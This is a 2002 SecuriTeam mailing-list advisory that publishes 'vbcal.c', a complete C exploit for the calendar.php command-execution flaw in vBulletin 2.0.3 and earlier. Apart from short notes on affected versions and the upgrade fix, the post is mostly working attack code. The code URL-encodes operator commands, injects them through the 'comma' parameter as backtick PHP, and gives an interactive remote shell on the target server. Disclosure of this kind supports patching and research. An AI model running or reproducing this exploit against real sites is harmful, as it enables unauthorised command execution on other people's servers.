[EXPL] vBulletin Calendar Improved Exploit Code

From: support@securiteam.com
Date: 11/17/02

  • Next message: support@securiteam.com: "[UNIX] Code Injection in phpBB Advanced Quick Reply Mod"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 17 Nov 2002 19:17:43 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      vBulletin Calendar Improved Exploit Code
    ------------------------------------------------------------------------

    SUMMARY

    An improved exploit code has been release for the vBulletin command
    execution vulnerability, the improved exploit code supports Virtual Hosts,
    automatic URL encoding, etc.

    DETAILS

    Vulnerable versions:
     * vBulletin 2.0.3 and before

    Immune versions:
     * vBulletin 2.2.0 and later

    Exploit:
    /*
    Program: vbcal.c
    Original Date: 11-10-02
    Version: 1.0
    Platform: Linux (Compiled on SuSE 7.3 pro)
    c0der: st0ic
    Web: www.fsix.net
    E-mail: st0ic@fsix.net

    Revised:
      None thus far
      
    Description:
    This is a proof of concept exploit which checks if a vBulletin
    installation
    is vulnerable to a security flaw in the calender.php script.

    Vulnerable versions:
      vBulletin 2.0.3 and before with the calendar option enabled and
      a event on one of the dates.
    Immune versions:
      vBulletin 2.2.0 and later or any vBulletin with the calendar disabled.
      
    Solution:
      Upgrade to the newest vBulletin [http://www.vbulletin.com/] or disable
        the calendar in vB's admin options.
      
    Stuff:
    gosper is credited with disclosing this to securiteam on 9-24-02 along
    with a
    working exploit and he probably discovered it too. I wrote this because
    his
    exploit didn't URL encode all the characters that needed to be URL encoded
    in order for some of the inputted commands to work properly. I added a
    date
    argument which is essential for exploiting the security hole. I also used
    an
    fdopen() and fgets() to make sure all the output was recieved and
    displayed
    correctly, at least I hope it works better ;-). Last thing I built in was
    HTTP
    version 1.1 support so that you can use this against virtual hosts.
    Yeah... and
    you can exploit this with a web browser too, its just easier to use this
    program,
    most of the time.

    Greetz to JadaCyrus, Terrorist, IreEnigma, badpack3t, biocenosis, ttye0,
    End of Days, sk3tch and all the people in #ozane (www.ozane.net). If I
    forgot you, well ***.

    Compile: gcc vbcal.c -o vbcal
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <string.h>
    #include <signal.h>
    #include <unistd.h>

    #define url1 "calendar.php?calbirthdays=1&action=getday&day="
    #define url2 "&comma=%22;echo%20'';%20echo%20%60"
    #define url3 "%60;die();echo%22"

    void time_out(void)
    {
      printf("\ntimed out on connect()\n");
      exit(0);
    }

    void usage (char *prog)
    {
      printf("\n\t %s <-h host> <-d date> [-u url_path] [-p port] [-t timeout]
    [-v (verbose)]\n\n", prog);
      printf("\t The -h and -d arguments are required, the rest are
    optional.");
      printf("\n\t date takes the format Year-Month-Day: 2002-11-14 = Nov. 14
    2002.");
      printf("\n\t date must also be a date on the vBulletin board that has an
    event on it.\n");
      printf("\n\t **Note: if you get a HTML dump of a vBulletin page, you
    probably used a date without an event on it.");
      printf("\n\n\t Examples: %s -h 192.168.1.2 -d 2001-12-8", prog);
      printf("\n\t %s -h 192.168.1.2 -d 2002-11-14 -u /forums/ -p 8080 -t
    20 -v\n\n", prog);
      exit(0);
    }
      

    int main(int argc, char *argv[])
    {
      int c, x, sockfd, verbose = 0;
      int timeout = 10; /* timeout for connection */
      int port = 80; /* 80 default for HTTPD */
      char *path = "/"; /* url path, default = "/" */
      char *host = NULL, *date = NULL;
      char sign = '%';
      char *prog;
      char tmp[2];
      char tmp2[4];
      char cmd_buf[501];
      char encoded_cmd[501];
      char data[1024];
      char output[20480]; /* 20k recv buf */
      struct sockaddr_in addr;
      struct hostent *he;
      struct sigaction action;
      FILE *f;
        
      memset(&tmp, '\0', sizeof(tmp));
      memset(&tmp2, '\0', sizeof(tmp2));
      memset(&cmd_buf, '\0', sizeof(cmd_buf));
      memset(&encoded_cmd, '\0', sizeof(encoded_cmd));
      memset(&data, '\0', sizeof(data));
      memset(&output, '\0', sizeof(output));
      
      prog = argv[0];
      
      fprintf(stderr, "\t ---[ vb_cal.c\n");
      fprintf(stderr, "\t ---[ vBulletin 2.0.3 and before Calendar
    exploit\n");
      fprintf(stderr, "\t ---[ c0ded by st0ic\n");
      fprintf(stderr, "\t ---[ www.fsix.net\n");
      
      if (argc < 5 || argc > 12)
        usage(prog);
      
      
      while ( (c = getopt(argc, argv, "h:d:u:p:t:v")) != -1 )
      {
        switch(c)
        {
          case 'h': /* host */
          {
            host = optarg;
            break;
          }
          case 'd':
          {
            date = optarg;
            break;
          }
          case 'u': /* url path */
          {
            path = optarg;
            break;
          }
          case 'p': /* port */
          {
            port = atoi(optarg);
            break;
          }
          case 't': /* connect timeout */
          {
            timeout = atoi(optarg);
            break;
          }
          case 'v':
          {
            verbose = 1;
            break;
          }
          default:
            usage(prog);
        }
      }
      /* make sure we got the required stuff */
      if (host == NULL)
        usage(prog);
      else if (date == NULL)
        usage(prog);
      
      if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
      {
        perror("socket()");
        exit(1);
      }
      
      if ( (he = gethostbyname(host)) == NULL)
      {
        perror("gethostbyname()");
        exit(1);
      }
      bzero(&addr, sizeof(addr));
      addr.sin_family = AF_INET;
      addr.sin_addr = *( (struct in_addr *)he->h_addr);
      addr.sin_port = htons(port);
      
      bzero(&action, sizeof(action));
      action.sa_handler = (void *)time_out;
      action.sa_flags = 0;
      sigaction(SIGALRM, &action, 0);
      
      alarm(timeout);
      if ( connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
      {
        perror("connect()");
        exit(1);
      }
      alarm(0);
      printf("\\q to exit cmd prompt\n");
      while(1)
      {
        printf("cmd> ");
        fgets(cmd_buf, sizeof(cmd_buf), stdin);
        for (x = 0; x < strlen(cmd_buf); x++)
                if (cmd_buf[x] == '\n')
            cmd_buf[x] = '\0';
          
        if ( (cmd_buf[0] == '\\' && cmd_buf[1] == 'q') )
          exit(0);
        
      
        for (x = 0; x < strlen(cmd_buf); x++)
        {
          tmp[0] = cmd_buf[x];
          /* 0 - 9 */
          if ( (cmd_buf[x] >= 0 && cmd_buf[x] <= 9) )
            strncat(encoded_cmd, tmp, sizeof(encoded_cmd));
          /* A - Z */
          else if ( (cmd_buf[x] >= 65 && cmd_buf[x] <= 90) )
            strncat(encoded_cmd, tmp, sizeof(encoded_cmd));
          /* a - z */
          else if ( (cmd_buf[x] >= 97 && cmd_buf[x] <= 122) )
            strncat(encoded_cmd, tmp, sizeof(encoded_cmd));
          /* everything not a letter or number */
          else
          {
            snprintf(tmp2, sizeof(tmp2), "%c%X", sign, cmd_buf[x]);
            strncat(encoded_cmd, tmp2, sizeof(encoded_cmd));
          }
        }
        /* use HTTP/1.1 in order to send valid HTTP commands to virtual hosts
    */
        snprintf(data, sizeof(data), "GET %s%s%s%s%s%s HTTP/1.1\nHost:
    %s\n\n", path, url1,
          date, url2, encoded_cmd, url3, host);
        /* be verbose about the string we're sending in case we need to debug.
    */
        if (verbose == 1)
          printf("\nSending: %s", data);
      
        send(sockfd, data, sizeof(data), 0);
        
        if ( (f = fdopen(sockfd, "r+") ) == NULL)
        {
          perror("fdopen()");
          exit(1);
        }
        while(1)
        {
          fgets(output, sizeof(output), f);
          if (feof(f) != 0)
            break;
          else
            printf("%s", output);
          memset(&output, '\0', sizeof(output));
        }
        
        memset(&cmd_buf, '\0', sizeof(cmd_buf));
        memset(&encoded_cmd, '\0', sizeof(encoded_cmd));
        memset(&data, '\0', sizeof(data));
        memset(&output, '\0', sizeof(output));
        
        fclose(f);
        
        if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
          perror("socket()");
          exit(1);
        }
        alarm(timeout);
        if ( connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
        {
          perror("connect()");
          exit(1);
        }
        alarm(0);
      }
      return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:st0ic@fsix.net> st0ic.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages